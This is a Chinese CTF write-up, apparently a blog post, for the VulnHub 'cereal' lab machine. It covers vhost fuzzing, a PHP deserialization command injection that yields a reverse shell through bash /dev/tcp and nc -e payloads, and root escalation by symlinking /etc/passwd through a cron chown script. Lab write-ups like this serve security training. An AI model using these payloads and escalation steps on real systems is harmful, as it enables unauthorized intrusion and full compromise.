vulnhub靶机:cereal

一:信息收集

1:主机发现

2:端口扫描

3:敏感目录扫描

二:外部信息

1:先试试ftp登录

nmap扫到的结果显示它支持匿名登录

df4770f645f9ba25c8b90c55760e82950d6245c0ad78ce8ddcdbd6c4947b1da2

没发现什么东西

2:http登录

发现一个域名

cereal.ctf

扫一下目录

sudo gobuster dir -u http://10.4.7.141 -t 20 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep ""

没有东西,扫一下主机

先将域名写入host文件

C:\Windows\System32\drivers\etc

sudo vim /etc/host/

echo '10.4.7.141 cereal.ctf' >> /etc/hosts

source /etc/hosts

sudo gobuster vhost -u http://cereal.ctf:44441/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep "Status: 200"

sudo wfuzz -H 'HOST: FUZZ.cereal.ctf:44441' -u 'http://10.4.7.141:44441' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 2,45

发现子域名secure

成功探测到子域信息,将子域添加到/etc/hosts

echo '10.4.7.141 secure.cereal.ctf' >> /etc/host

gobuster dir -r -u http://secure.cereal.ctf:44441/ -w /usr/share/wordlists/dirbuster/dir_big.txt -t 100 -e

ffuf -c -w /usr/share/wordlists/dirbuster/dir_big.txt -u http://secure.cereal.ctf:44441/FUZZ

发现一个序列化serialize函数

爆破一下目录

gobuster dir -r -u http://secure.cereal.ctf:44441/ -w /usr/share/wordlists/dirb/small.txt -t 200

扫到一个目录,发现无法访问

403拒绝访问

继续爆破该目录下文件,发现源码文件

gobuster dir -r -u http://secure.cereal.ctf:44441/back_en -w /usr/share/wordlists/dirb/small.txt -t 200

gobuster dir -r -u http://secure.cereal.ctf:44441/ -w /usr/share/wordlists/rockyou.txt -t 200

http://secure.cereal.ctf:44441/back_en/index.php.bak

pingTest这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它一定都会进入 if 模块。该模块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法

序列化源码

先抓包看看它的参数在哪

尝试在反序列化中尝试写入反弹 shell,把 ping 的地址替换成反弹 shell

但是在代码中存在一个 bug ,那就是如果 isValid 这个参数为 True,则不进行验证,也就是说我们可以构造序列化字符,将 isValid 参数置为 True

O:8:“pingTest”:2:{s:9:“ipAddress”;s:65:“127.0.0.1|bash -c ‘bash -i >& /dev/tcp/10.4.7.141/7777 0>&1’”;s:7:“isValid”;s:4:“True”;}

编码后发送,同时开启监听

O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A43%3A%22127.0.0.1+%26+nc+-e+%2Fbin%2Fbash+10.4.7.128+1234%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D

监听成功,升级一下shell

SHELL=bash script -q /dev/null

三:提权

find / -perm -4000 -type f 2>/dev/null

尝试使用sudo -l查找可以执行命令,使用find / -perm -4000 -type f 2>/dev/null查找可疑文件,但是未发现可以利用的命令和可疑的特殊文件。

用到pspy64 工具让我们可以在没有特权的情况下看到linux系统上的所有进程。

python3 -m http.server 80

wget 10.4.7.128/pspy64

nc -lvnp 10086 > pspy64

nc 10.4.7.141 10086 < pspy64 -w 1

chmod +x pspy64
./pspy64

GitHub - DominicBreuker/pspy: Monitor linux processes without root permissions

不过并没有权限修改和执行,但是这个脚本可以更改位于用户 rocky 的主目录中的文件 public_html 内容的所有者

发现 了一个看起来可疑的进程,它会周期性的把/home/rocky/public_html/目录下的所有文件,设置拥有者为rocky,所有组为apache,而且所有组对目录下的文件有可写权限

ls -la /usr/share/scripts/chown.sh

cat /usr/share/scripts/chown.sh

软链接提权

软链接相当于 windows 中的快捷方式

当一个文件是另一个文件的软链接时(例如:A 是 B 文件的软链接,A 的根是 B),当我们修改这个文件的属主属组时(A),改的并不是这个文件的,而是它所链接的源文件(B)

通过信息收集,我们发现 /etc/passwd 文件可以被它的属主属组修改,所以准备通过软链接以及 chown.sh 修改它的属主属组

ln -s /etc/passwd /home/rocky/public_html/passwd

ls -la /home/rocky/public_html/passwd

现在已经可以修改 /etc/passwd 文件了

/etc/passwd 文件中的 x 是保存加密密码的地方。因此,如果我从该行中删除了 x ,也就是删除 root 用户的密码身份验证:

但是会发现键位错乱

先将该文件放到web 目录下,方便下载

cp /etc/passwd /var/www/html/blog

本机下载

wget http://secure.cereal.ctf/blog/passwd

wget 10.4.7.128/passwd
cp passwd.1 /etc/passwd

成功提权

  • 21
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值